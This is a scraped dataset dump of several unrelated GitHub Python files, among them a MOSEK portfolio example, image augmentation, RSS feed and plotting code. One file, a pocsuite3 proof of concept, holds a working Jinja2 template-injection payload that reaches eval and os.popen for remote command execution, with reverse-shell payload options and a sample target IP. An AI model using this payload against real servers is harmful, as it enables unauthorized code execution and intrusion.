em várias listas.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19834784247","text":"import mosek\nimport sys\n\ndef streamprinter(text):\n sys.stdout.write(\"%s\" % text),\n\nif __name__ == '__main__':\n\n n = 3\n gamma = 0.05\n mu = [0.1073, 0.0737, 0.0627]\n GT = [[0.1667, 0.0232, 0.0013],\n [0.0000, 0.1033, -0.0022],\n [0.0000, 0.0000, 0.0338]]\n x0 = [0.0, 0.0, 0.0]\n w = 1.0\n\n inf = 0.0 # This value has no significance\n\n with mosek.Env() as env:\n with env.Task(0, 0) as task:\n task.set_Stream(mosek.streamtype.log, streamprinter)\n\n # Constraints.\n task.appendcons(1 + n)\n\n # Total budget constraint - set bounds l^c = u^c\n rtemp = w + sum(x0)\n task.putconbound(0, mosek.boundkey.fx, rtemp, rtemp)\n task.putconname(0, \"budget\")\n\n # The remaining constraints GT * x - t = 0 - set bounds l^c = u^c\n task.putconboundlist(range(1 + 0, 1 + n), [mosek.boundkey.fx] * n, [0.0] * n, [0.0] * n)\n for j in range(1, 1 + n):\n task.putconname(j, \"GT[%d]\" % j)\n\n # Variables.\n task.appendvars(1 + 2 * n)\n\n # Offset of variables into the API variable.\n offsetx = 0\n offsets = n\n offsett = n + 1\n\n # x variables.\n # Returns of assets in the objective \n task.putclist(range(offsetx + 0, offsetx + n), mu)\n # Coefficients in the first row of A\n task.putaijlist([0] * n, range(offsetx + 0, offsetx + n), [1.0] * n)\n # No short-selling - x^l = 0, x^u = inf \n task.putvarboundslice(offsetx, offsetx + n, [mosek.boundkey.lo] * n, [0.0] * n, [inf] * n)\n for j in range(0, n):\n task.putvarname(offsetx + j, \"x[%d]\" % (1 + j))\n\n # s variable is a constant equal to gamma\n task.putvarbound(offsets + 0, mosek.boundkey.fx, gamma, gamma)\n task.putvarname(offsets + 0, \"s\")\n\n # t variables (t = GT*x).\n # Copying the GT matrix in the appropriate block of A\n for j in range(0, n):\n task.putaijlist(\n [1 + j] * n, range(offsetx + 0, offsetx + n), GT[j])\n # Diagonal -1 entries in a block of A\n task.putaijlist(range(1, n + 1), range(offsett + 0, offsett + n), [-1.0] * n)\n # Free - no bounds\n task.putvarboundslice(offsett + 0, offsett + n, [mosek.boundkey.fr] * n, [-inf] * n, [inf] * n)\n for j in range(0, n):\n task.putvarname(offsett + j, \"t[%d]\" % (1 + j))\n\n # Define the cone spanned by variables (s, t), i.e. dimension = n + 1 \n task.appendcone(mosek.conetype.quad, 0.0, [offsets] + list(range(offsett, offsett + n)))\n task.putconename(0, \"stddev\")\n\n task.putobjsense(mosek.objsense.maximize)\n\n # Dump the problem to a human readable OPF file.\n task.writedata(\"dump.opf\")\n\n task.optimize()\n\n # Display solution summary for quick inspection of results.\n task.solutionsummary(mosek.streamtype.msg)\n\n # Retrieve results\n xx = [0.] * (n + 1)\n task.getxxslice(mosek.soltype.itr, offsetx + 0, offsets + 1, xx)\n expret = sum(mu[j] * xx[j] for j in range(offsetx, offsetx + n))\n stddev = xx[offsets]\n\n print(\"\\nExpected return %e for gamma %e\\n\" % (expret, stddev))\n sys.stdout.flush()","repo_name":"OxDuke/Bilevel-Planner","sub_path":"third_party/mosek/9.0/tools/examples/python/portfolio_1_basic.py","file_name":"portfolio_1_basic.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"26256986910","text":"from collections import OrderedDict\nfrom urllib.parse import urljoin\nimport re\nfrom pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE\nfrom pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY\n\n\nclass DemoPOC(POCBase):\n vulID = '1.1' # ssvid ID,如果是提交漏洞的同时提交POC,则写成0\n version = '1.1' # 默认为1\n author = ['1.1'] # POC作者的名字\n vulDate = '1.1' # 漏洞公开时间,不明确可以写今天\n createDate = '1.1' # 编写POC的日期\n updateDate = '1.1' # POC更新的时间,默认和编写时间一样\n references = ['flask'] # 漏洞地址来源,0day不用谢\n name = 'flask' # POC名称\n appPowerLink = 'flask' # 漏洞厂商的地址\n appName = 'flask' # 漏洞应用名称\n appVersion = 'flask' # 漏洞影响版本\n vulType = VUL_TYPE.CODE_EXECUTION # 漏洞类型\n desc = '''\n\n ''' # 漏洞简要描述\n samples = ['96.234.71.117:80'] # 测试样例,使用POC测试成功的网站\n category = POC_CATEGORY.EXPLOITS.REMOTE\n\n def _options(self):\n o = OrderedDict()\n payload = {\n \"nc\": REVERSE_PAYLOAD.NC,\n \"bash\": REVERSE_PAYLOAD.BASH,\n }\n o[\"command\"] = OptDict(selected=\"bash\", default=payload)\n return o\n\n def _verify(self):\n output = Output(self)\n result = {}\n # 攻击代码\n\n def trim(str):\n newstr = ''\n for ch in str: #遍历每一个字符串\n if ch!=' ':\n newstr = newstr+ch\n return newstr\n\n def _attack(self):\n result = {}\n path = \"?name=\"\n url = self.url + path\n # print(url)\n cmd = self.get_option(\"command\")\n payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(\"os\").popen(\"' + cmd + '\").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'\n # print(payload)\n try:\n resq = requests.get(url + payload)\n t = resq.text \n t = t.replace('\\n', '').replace('\\r', '')\n print(t)\n t = t.replace(\" \", \"\")\n result['VerifyInfo'] = {}\n result['VerifyInfo']['URL'] = url\n result['VerifyInfo']['Name'] = payload\n except Exception as e:\n return \n return self.parse_attack(result)\n\n def parse_attack(self, result):\n output = Output(self)\n if result:\n output.success(result)\n else:\n output.fail('target is not vulnerable')\n return output\n\n def _shell(self):\n return\n\n def parse_verify(self, result):\n output = Output(self)\n if result:\n output.success(result)\n else:\n output.fail('target is not vulnerable')\n return output\n\n\nregister_poc(DemoPOC)","repo_name":"20142995/pocsuite3","sub_path":"poc/expclient.py","file_name":"expclient.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"72"} +{"seq_id":"74143305194","text":"'''\nAuthor: Jean Vitor de Paulo\nsite : www.jeanvitor.com\n\nScript to randomly apply Geometric Transformations/Noise on an image, generating an output slightly different (or not). \nThis is usually used in Machine Learning for data augmentation.\nAll the output images will be placed inside the 'Output images' folder by default\n\n'''\n\n\nimport cv2\nimport numpy as np\nimport random\nimport sys\nimport getopt\nimport os\n\ndef sp_noise(image,prob):\n\toutput = np.zeros(image.shape,np.uint8)\n\tthres = 1 - prob \n\tfor i in range(image.shape[0]):\n\t\tfor j in range(image.shape[1]):\n\t\t\trdn = random.random()\n\t\t\tif rdn < prob:\n\t\t\t\toutput[i][j] = 0\n\t\t\telif rdn > thres:\n\t\t\t\toutput[i][j] = 255\n\t\t\telse:\n\t\t\t\toutput[i][j] = image[i][j]\n\treturn output\n\n# credits of that cool bar to https://stackoverflow.com/questions/3173320/text-progress-bar-in-the-console\ndef progress(count, total, suffix=''):\n bar_len = 25\n filled_len = int(round(bar_len * count / float(total)))\n\n percents = round(100.0 * count / float(total), 1)\n bar = '=' * filled_len + '-' * (bar_len - filled_len)\n\n sys.stdout.write('[%s] %s%s %s\\r' % (bar, percents, '%', suffix))\n sys.stdout.flush() \n\n\ndef main(argv):\n\toutputSize = 0\n\trandomizerLevel = 20\n\tlocal = ''\n\toutputFolder = \"Output images\\\\\"\n\tborderMode = cv2.BORDER_REPLICATE\n\tnoiseLevel = 0.0\n\ttry:\n\t\topts, args = getopt.getopt(argv,\"hi:o:n:r:m:w:\",[\"ilocal=\",\"osize=\",\"rlevel=\",\"output=\",\"bmode=\",\"nlevel\"])\n\texcept getopt.GetoptError as error:\n\t\tprint (error)\n\t\tprint ('image.py -i -n -r -o -m -w ')\n\t\tsys.exit()\n\tfor opt, arg in opts:\n\t\tif opt == '-h':\n\t\t\tprint (\"This is a script to process an image n times, randomly generating a\")\n\t\t\tprint (\"processed output, based on the original image. \")\n\t\t\tprint (\"All the output images will be placed inside the 'Output images' folder by default\\n\")\n\t\t\tprint ('usage: image.py -i -n -r -o -m -w \\n')\n\t\t\tprint (\"-i : Image name\")\n\t\t\tprint (\"-n : The number of output images\")\n\t\t\tprint (\"-o : The output folder\")\n\t\t\tprint (\"-r : The randomizer level specifies how agressively the image will be changed. Default = 20\")\n\t\t\tprint (\"-m : Border mode: default=0 (cv2.BORDER_REPLICATE) use 1 to choose cv2.BORDER_CONSTANT\")\n\t\t\tprint (\"-w : Noise level between 0 and 1, default=0\\n\")\n\t\t\tsys.exit()\n\t\telif opt in (\"-i\", \"--ilocal\"):\n\t\t\tlocal = str(arg)\n\t\t\timg = cv2.imread(local, cv2.IMREAD_UNCHANGED)\n\t\t\tif img is None:\n\t\t\t\tprint (\"Invalid image\")\n\t\t\t\tsys.exit()\n\t\telif opt in (\"-n\", \"--xsize\"):\n\t\t\toutputSize = int(arg)\n\t\t\tif (outputSize <= 0) :\n\t\t\t\tprint (\"Please specify an output bigger than 0\")\n\t\t\t\tsys.exit()\n\t\telif opt in (\"-r\", \"--rlevel\"):\n\t\t\trandomizerLevel = int(arg)\n\t\t\tif (randomizerLevel == 0 or randomizerLevel == 1):\n\t\t\t\tprint (\"Please specify a higher randomizer level (-h for help)\")\n\t\t\t\tsys.exit()\n\t\telif opt in (\"-o\", \"--output\"):\n\t\t\toutputFolder = str(arg)\n\t\telif opt in (\"-m\", \"--bmode\"):\n\t\t\tif (int(arg)==1):\n\t\t\t\tborderMode = cv2.BORDER_CONSTANT\n\t\telif opt in (\"-w\", \"--nlevel\"):\n\t\t\tnoiseLevel = float(arg)\n\n\trows, cols, layers = img.shape\n\tprint(\"\\n\\nGenerating \",outputSize ,\"randomized images from file \", local, \"in \", outputFolder, \"Randomize level: \", randomizerLevel, \"\\n\")\n\tif not os.path.exists(outputFolder):\n\t\tos.makedirs(outputFolder)\n\tfor i in range(0,outputSize):\n\t\tdst = img\n\t\trandomNumber = random.randint(2,randomizerLevel)\n\t\trandomSign = 1\n\t\tif (random.randint(1,2) == 2):\n\t\t\trandomSign = randomSign * -1\n\t\t\n\t\tif (noiseLevel != 0.0 ):\n\t\t\tdst = sp_noise(dst,random.uniform(0, noiseLevel))\n\t\n\t\t#Rotation\n\t\tM = cv2.getRotationMatrix2D((cols/2,rows/2),randomizerLevel * randomNumber ,1)\n\t\tdst = cv2.warpAffine(dst,M,(cols,rows),borderMode=borderMode)\n\t\t\n\t\t#Translation\n\t\tM = np.float32([[random.uniform(0.6, 1),0,cols%randomNumber* randomSign] ,[0,random.uniform(0.6, 1) ,rows%randomNumber * randomSign]])\n\t\tdst = cv2.warpAffine(dst,M,(cols,rows),borderMode=borderMode)\n\t\t\n\t\t#mean = 25.0 # some constant\n\t\t#std = 1.0 # some constant (standard deviation)\n\t\t#noisy_img = dst + np.random.normal(mean, std, img.shape)\n\t\t#dst = np.clip(noisy_img, 0, 255) # we might get out of bounds due to noise\n\t\ttry:\n\t\t\tcv2.imwrite(''.join([outputFolder,str(i) , \".png\"]),dst)\n\t\t\tprogress(i+1,outputSize)\n\t\texcept e as imwriteError:\n\t\t\tprint (\"Error while writing images: \", imwriteError)\n\t\tcv2.waitKey()\n\t\tcv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n\tmain(sys.argv[1:])\n\tprint(\"\\n Done!\\n\")\n","repo_name":"Jeanvit/DataAugmentation","sub_path":"src/dataAugmentation.py","file_name":"dataAugmentation.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22064266915","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom xumm.resource import XummResource\n\nfrom .application_details import ApplicationDetails\n\n\nclass PongResponse(XummResource):\n \"\"\"\n Attributes:\n model_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n required = {\n 'pong': True,\n 'auth': True\n }\n\n model_types = {\n 'pong': bool,\n 'auth': dict\n }\n\n attribute_map = {\n 'pong': 'pong',\n 'auth': 'auth',\n }\n\n def refresh_from(cls, **kwargs):\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The PongResponse of this PongResponse. # noqa: E501\n :rtype: PongResponse\n \"\"\"\n cls.sanity_check(kwargs)\n cls._pong = None\n cls._auth = None\n cls.pong = kwargs['pong']\n cls.auth = ApplicationDetails(**kwargs['auth'])\n\n @property\n def pong(cls) -> bool:\n \"\"\"Gets the pong of this PongResponse.\n\n\n :return: The pong of this PongResponse.\n :rtype: bool\n \"\"\"\n return cls._pong\n\n @pong.setter\n def pong(cls, pong: bool):\n \"\"\"Sets the pong of this PongResponse.\n\n\n :param pong: The pong of this PongResponse.\n :type pong: bool\n \"\"\"\n if pong is None:\n raise ValueError(\"Invalid value for `pong`, must not be `None`\") # noqa: E501\n\n cls._pong = pong\n\n @property\n def auth(cls) -> ApplicationDetails:\n \"\"\"Gets the auth of this PongResponse.\n\n\n :return: The auth of this PongResponse.\n :rtype: ApplicationDetails\n \"\"\"\n return cls._auth\n\n @auth.setter\n def auth(cls, auth: ApplicationDetails):\n \"\"\"Sets the auth of this PongResponse.\n\n\n :param auth: The auth of this PongResponse.\n :type auth: ApplicationDetails\n \"\"\"\n if auth is None:\n raise ValueError(\"Invalid value for `auth`, must not be `None`\") # noqa: E501\n\n cls._auth = auth\n","repo_name":"XRPL-Labs/xumm-sdk-py","sub_path":"xumm/resource/types/meta/pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"33676935048","text":"import subprocess\nimport datetime\nimport os\n\n# Define the paths to the two Python files you want to start\nfile1_path = \"./reinforcement_learning/dqn_leader.py\"\nfile2_path = \"./mpc.py\"\n\n# Start the two files simultaneously using the subprocess module and get their PIDs\nrl_process = subprocess.Popen([\"python3\", file1_path])\nmpc_process = subprocess.Popen([\"python3\", file2_path])\n\n# Retrieve the PIDs of the two subprocesses\nrl_pid = rl_process.pid\nmpc_pid = mpc_process.pid\n\nprint(f\"PID of rl_process: {rl_pid}\")\nprint(f\"PID of mpc_process: {mpc_pid}\")\n\n# Get the current date and time in the desired format\nnow = datetime.datetime.now()\ndate_str = now.strftime(\"%Y-%m-%d\")\ntime_str = now.strftime(\"%H-%M-%S\")\n\noperation_name = \"rl_leader\"\nlog_file_name = f\"{date_str}_{time_str}_{operation_name}_log.txt\"\n\n# Create the log file in the /log_processes directory if it doesn't already exist\nlog_file_path = os.path.join(\"./log_processes\", log_file_name)\nif not os.path.exists(\"./log_processes\"):\n os.makedirs(\"./log_processes\")\nwith open(log_file_path, \"w\") as log_file:\n # Write the PIDs of the two subprocesses to the log file\n log_file.write(f\"PID of rl_process: {rl_pid}\\n\")\n log_file.write(f\"PID of mpc_process: {mpc_pid}\\n\")\n\nprint(f\"Log file written to {log_file_path}\")\n\n# Wait for the two subprocesses to finish and get their return codes\nif rl_pid is not None:\n try:\n rl_process_returncode = rl_process.communicate()[0]\n except Exception as e:\n print(f\"Error communicating with rl_process: {e}\")\n rl_process_returncode = None\n\nif mpc_pid is not None:\n try:\n mpc_returncode = mpc_process.communicate()[0]\n except Exception as e:\n print(f\"Error communicating with mpc_process: {e}\")\n mpc_returncode = None\n\n# Write the return codes of the two subprocesses to the log file\nwith open(log_file_path, \"a\") as log_file:\n if rl_pid is not None:\n log_file.write(f\"rl_process return code: {rl_process_returncode}\\n\")\n if mpc_pid is not None:\n log_file.write(f\"mpc_process return code: {mpc_returncode}\\n\")","repo_name":"praingeard/nam_multirotor","sub_path":"master_mpc.py","file_name":"master_mpc.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7294687422","text":"import requests,re,json\r\n# 网易云音乐 \r\n\r\npattern = re.compile(r'',re.DOTALL)\r\nd = []\r\nwith open(\"songs.html\",\"r\",encoding=\"utf8\") as f: \r\n res = pattern.findall(f.read())\r\n print(res)\r\n #for singer_id,singer_name in res:\r\n # d.append((singer_id,singer_name))\r\n\r\n#with open(\"album_id_name.json\",\"w\",encoding=\"utf8\") as f:\r\n# json.dump(d,f,ensure_ascii=False)\r\n\r\n\r\n","repo_name":"zzzcb/robot","sub_path":"01python_advanced/07爬虫/wyy/专辑id和专辑名字.py","file_name":"专辑id和专辑名字.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"19052349146","text":"import matplotlib.pyplot as plt\r\n\r\ndef visualize_cnf_satisfiability(formula, assignment=None):\r\n num_clauses = len(formula)\r\n num_variables = max(abs(literal) for clause in formula for literal in clause)\r\n \r\n fig, ax = plt.subplots(figsize=(4, 3))\r\n ax.set_xlim([-1, num_variables + 1])\r\n ax.set_ylim([-1, num_clauses + 1])\r\n ax.set_aspect('equal')\r\n\r\n # Plotting clauses\r\n for i, clause in enumerate(formula):\r\n y = num_clauses - i\r\n for literal in clause:\r\n x = abs(literal)\r\n color = 'black'\r\n if assignment is not None:\r\n if (literal > 0 and assignment[abs(literal)]) or (literal < 0 and not assignment[abs(literal)]):\r\n color = 'green'\r\n else:\r\n color = 'red'\r\n ax.text(x, y, str(literal), color=color, ha='center', va='center')\r\n\r\n # Plotting variable labels\r\n for i in range(1, num_variables + 1):\r\n ax.text(i, num_clauses + 0.5, f'x{i}', ha='center', va='center')\r\n\r\n ax.axis('off')\r\n plt.show()\r\n\r\n\r\n# Example usage\r\nformula = [[1, 2, -3], [-1, -2, 4], [3, 4]]\r\nassignment = {1: True, 2: False, 3: False, 4: True}\r\n\r\nvisualize_cnf_satisfiability(formula, assignment)\r\n","repo_name":"mesteri15micro/disszertaciosDolgozat","sub_path":"CNF_SatisfiabilityVisualization.py","file_name":"CNF_SatisfiabilityVisualization.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1393360126","text":"from .models import Feed, Entry, Subscription, UserEntry\nimport datetime\nimport feedparser\n\n\ndef _rate_content(content):\n\tif content.type == 'application/xhtml+xml':\n\t\treturn 0\n\telif content.type == 'text/html':\n\t\treturn 1\n\telif content.type == 'text/plain':\n\t\treturn 2\n\telse:\n\t\treturn 3\n\n\ndef _choose_content(contents):\n\tlimited_contents = [content for content in contents if content.type in ('application/xhtml+xml', 'text/html', 'text/plain')]\n\tlimited_contents.sort(key=_rate_content)\n\treturn limited_contents[0] if len(limited_contents) > 0 else None\n\n\ndef _parse_date(date):\n\ttry:\n\t\treturn datetime.datetime(*(date[0:6]))\n\texcept:\n\t\treturn None\n\n\ndef _add_entry(feed, parsed_entry):\n\ttitle = parsed_entry.get('title', 'Untitled')\n\tlink = parsed_entry.get('link', feed.link)\n\tpublished = _parse_date(parsed_entry.get('published_parsed', parsed_entry.get('created_parsed', parsed_entry.get('updated_parsed', None))))\n\tif not published:\n\t\tpublished = datetime.datetime.now()\n\tupdated = _parse_date(parsed_entry.get('updated_parsed', None))\n\tif not updated:\n\t\tupdated = published\n\tcontents = parsed_entry.get('content', None)\n\tif contents:\n\t\tcontent = _choose_content(contents).value\n\telse:\n\t\tcontent = None\n\tsummary = parsed_entry.get('summary', None)\n\t\n\tif summary or content:\n\t\tentry, created = feed.entries.get_or_create(uri=parsed_entry.id, defaults={\n\t\t\t'title': title,\n\t\t\t'link': link,\n\t\t\t'published': published,\n\t\t\t'updated': updated,\n\t\t\t'summary': summary,\n\t\t\t'content': content\n\t\t})\n\t\tif not created:\n\t\t\tentry.title = title\n\t\t\tentry.link = link\n\t\t\tentry.published = published\n\t\t\tentry.updated = updated\n\t\t\tentry.summary = summary\n\t\t\tentry.content = content\n\t\t\tentry.save()\n\n\ndef _add_entries(feed, parsed):\n\tfor parsed_entry in parsed.entries:\n\t\t_add_entry(feed, parsed_entry)\n\n\ndef refresh_feed(feed):\n\tif feed.alive:\n\t\tparsed = feedparser.parse(feed.url, etag=feed.etag, modified=(feed.modified.timetuple() if feed.modified else None))\n\t\tif parsed.get('status', None) == 304:\n\t\t\treturn\n\t\tif parsed.get('status', None) == 301 and parsed.has_key('href'):\n\t\t\tfeed.url = parsed.href\n\t\tif parsed.get('status', None) == 410:\n\t\t\tfeed.alive = False\n\t\tif parsed.has_key('etag'):\n\t\t\tfeed.etag = parsed.etag\n\t\tif parsed.has_key('modified'):\n\t\t\tfeed.modified = datetime.datetime(*(parsed.modified[0:6]))\n\t\tfeed.title = parsed.feed.get('title', feed.url)\n\t\tfeed.updated = _parse_date(parsed.feed.get('updated_parsed', datetime.datetime.now().timetuple())[0:6])\n\t\tfeed.link = parsed.feed.get('link', feed.url)\n\t\t\n\t\tfeed.save()\n\t\t_add_entries(feed, parsed)\n\n\ndef refresh_all_feeds():\n\tfor feed in Feed.objects.all():\n\t\trefresh_feed(feed)\n\n\ndef add_feed(url, user=None):\n\ttry:\n\t\tfeed = Feed.objects.get(url=url)\n\texcept Feed.DoesNotExist:\n\t\tfeed = Feed(url=url)\n\trefresh_feed(feed)\n\tif user is not None:\n\t\tsub, _ = Subscription.objects.get_or_create(user=user, feed=feed)\n\treturn feed\n\n\ndef unread_count(user, feed=None):\n\tif feed:\n\t\tentries = feed.entries\n\telse:\n\t\tentries = Entry.objects.filter(feed__subscriptions__user=user)\n\ttotal_entries = entries.count()\n\tread_entries = entries.filter(userentries__user=user, userentries__read=True).count()\n\treturn total_entries - read_entries\n\t","repo_name":"jspiros/reader","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"74256289833","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport os\nimport sys\nimport warnings\n\nimport shutil\n\nfrom setproctitle import setproctitle\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom model import Net\nfrom train import train\nfrom test import test_print_save\n\nfrom dataset.loader import JMDSAmendoasLoader\n\n\ndef main():\n warnings.filterwarnings('ignore')\n setproctitle('jmds.Almonds')\n sys.path.append(os.path.dirname(os.path.realpath(__file__)))\n\n model = Net()\n criterion = nn.BCEWithLogitsLoss()\n optimizer = optim.SGD(\n model.parameters(),\n lr=model.learning_rate,\n momentum=model.momentum\n )\n\n if torch.cuda.is_available():\n print(\" * CUDA AVAILABLE, USING IT\")\n model = model.cuda()\n criterion = criterion.cuda()\n\n print(\" * LOADING DATASET\")\n\n jal = JMDSAmendoasLoader()\n train_batches = jal.get_train_batches(40)\n\n print(\" * RUNNING TEACHING PROCESS\")\n\n for epoch in range(1, 30):\n train(\n model,\n optimizer,\n criterion,\n epoch,\n train_batches\n )\n test_print_save(\n model,\n criterion,\n epoch,\n train_batches,\n jal\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jeanschmidt/poc_deeplearning_industrial","sub_path":"learn/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26413838301","text":"from thor_requests import utils\nfrom thor_requests.connect import Connect\nfrom thor_requests.contract import Contract\nfrom thor_requests.wallet import Wallet\n\ndef helper_deploy(connector, wallet, contract) -> str:\n ''' Deploy a smart contract and return the created contract address'''\n res = connector.deploy(wallet, contract, None, None, 0)\n assert \"id\" in res\n receipt = connector.wait_for_tx_receipt(res[\"id\"])\n created_contracts = utils.read_created_contracts(receipt)\n assert len(created_contracts) == 1\n return created_contracts[0]\n\ndef helper_call(connector:Connect, caller:str, contract_addr:str, contract:Contract, func_name:str, func_params:list, value:int=0):\n '''Call on-chain, return reverted(bool), response'''\n # Call to get the balance of user's vtho\n res = connector.call(\n caller,\n contract,\n func_name,\n func_params,\n contract_addr,\n value=value\n )\n return res[\"reverted\"], res\n\ndef helper_transact(connector:Connect, wallet:Wallet, contract_addr:str, contract:Contract, func_name:str, func_params:list, value:int=0):\n '''Transact on-chain, and return reverted(bool), receipt'''\n res = connector.transact(\n wallet,\n contract,\n func_name,\n func_params,\n contract_addr,\n value=value,\n force=True\n )\n assert res[\"id\"]\n receipt = connector.wait_for_tx_receipt(res[\"id\"])\n return receipt[\"reverted\"], receipt\n\ndef helper_wait_for_block(connector:Connect, number:int=1):\n counter = 0\n for block in connector.ticker():\n counter += 1\n if counter >= number:\n break\n","repo_name":"VeChainDEXCode/vvet","sub_path":"vvet/tests/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"72391368873","text":"import sys, os\nimport numpy as np\nimport h5py as h5\nimport matplotlib\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nroot_dir = os.path.dirname(os.getcwd()) + '/'\nsubDirectories = [x[0] for x in os.walk(root_dir)]\nsys.path.extend(subDirectories)\nfrom tools import *\n\ntick_size_major, tick_size_minor = 4, 3\ntick_label_size_major, tick_label_size_minor = 12, 12\ntick_width_major, tick_width_minor = 1.5, 1\nlabel_size = 14\n\ntext_color = 'black'\n\nmatplotlib.rcParams['font.sans-serif'] = \"Helvetica\"\nmatplotlib.rcParams['font.family'] = \"sans-serif\"\nmatplotlib.rcParams['mathtext.fontset'] = 'cm'\nmatplotlib.rcParams['mathtext.rm'] = 'serif'\n\n\ndef plot_densities( dens_part, dens_gas, output_dir ):\n ncols, nrows = 2, 1\n figure_width = 6\n figure_height = 6\n fig, ax_l = plt.subplots(nrows=nrows, ncols=ncols, figsize=(ncols*figure_width, nrows*figure_height))\n plt.subplots_adjust( hspace = 0.02, wspace=0.02 )\n\n ax = ax_l[0]\n n = dens_part.shape[0]\n proj = dens_part.sum( axis=0 ) / n\n im = ax.imshow( proj )\n color_bar = fig.colorbar( im, ax=ax, shrink = 0.8 )\n \n ax = ax_l[1]\n n = dens_gas.shape[0]\n proj = dens_gas.sum( axis=0 ) / n\n im = ax.imshow( proj )\n color_bar = fig.colorbar( im, ax=ax, shrink = 0.8 )\n\n figure_name = output_dir + f'ics_comparison_density.png' \n fig.savefig( figure_name, bbox_inches='tight', dpi=300, facecolor=fig.get_facecolor() )\n print( f'Saved Figure: {figure_name}' )\n\n\n\ndef Plot_transfer_function( k_vals, components, cosmo, output_dir ):\n \n nrows, ncols = 1, 1\n fig, ax = plt.subplots(nrows=nrows, ncols=ncols, figsize=(8*ncols,6*nrows))\n \n for component in components:\n tk_vals = cosmo.transfer_function( k_vals, component=component )\n tk_vals /= tk_vals[0]\n ax.plot( k_vals, tk_vals, label=component )\n \n from colossus.cosmology import cosmology\n tk_vals = cosmology.power_spectrum.transferFunction(k_vals, cosmo.h, cosmo.Omega_M, cosmo.Omega_b, 2.726, model='eisenstein98')\n ax.plot( k_vals, tk_vals, label='Eisenstein' )\n \n ax.legend( frameon=False )\n \n ax.set_xlabel( r'$k$ $[h \\mathregular{Mpc^{-1}}]$', fontsize=label_size) \n ax.set_ylabel( r'$T\\,(k, z=100)$', fontsize=label_size) \n ax.tick_params(axis='both', which='major', direction='in', color=text_color, labelcolor=text_color, labelsize=tick_label_size_major, size=tick_size_major, width=tick_width_major )\n ax.tick_params(axis='both', which='minor', direction='in', color=text_color, labelcolor=text_color, labelsize=tick_label_size_minor, size=tick_size_minor, width=tick_width_minor )\n\n \n ax.set_xscale('log')\n ax.set_yscale('log')\n ax.set_xlim(1e-3, None)\n # ax.set_ylim(1e-1, None)\n \n figure_name = output_dir + 'transfer_function.png'\n fig.savefig( figure_name, bbox_inches='tight', dpi=300, facecolor=fig.get_facecolor() )\n print( f'Saved Figure: {figure_name}' )\n\n\n\ndef Plot_power_spectrum( k_vals, z, components, cosmo, output_dir, other_pk=None ):\n \n nrows, ncols = 1, 1\n fig, ax = plt.subplots(nrows=nrows, ncols=ncols, figsize=(8*ncols,6*nrows))\n \n for component in components:\n pk_vals = cosmo.power_spectrum( k_vals, z, component=component )\n ax.plot( k_vals, pk_vals, label=component )\n \n if other_pk is not None:\n k_vals = other_pk['k_vals']\n pk_vals = other_pk['pk']\n label = other_pk['label']\n print( label )\n ax.plot( k_vals, pk_vals, label=label )\n \n ax.legend( frameon=False )\n \n ax.set_xlabel( r'$k$ $[h \\mathregular{Mpc^{-1}}]$', fontsize=label_size) \n ax.set_ylabel( r'$P\\,(k, z=100)$', fontsize=label_size) \n ax.tick_params(axis='both', which='major', direction='in', color=text_color, labelcolor=text_color, labelsize=tick_label_size_major, size=tick_size_major, width=tick_width_major )\n ax.tick_params(axis='both', which='minor', direction='in', color=text_color, labelcolor=text_color, labelsize=tick_label_size_minor, size=tick_size_minor, width=tick_width_minor )\n\n \n ax.set_xscale('log')\n ax.set_yscale('log')\n ax.set_xlim(1e-4, 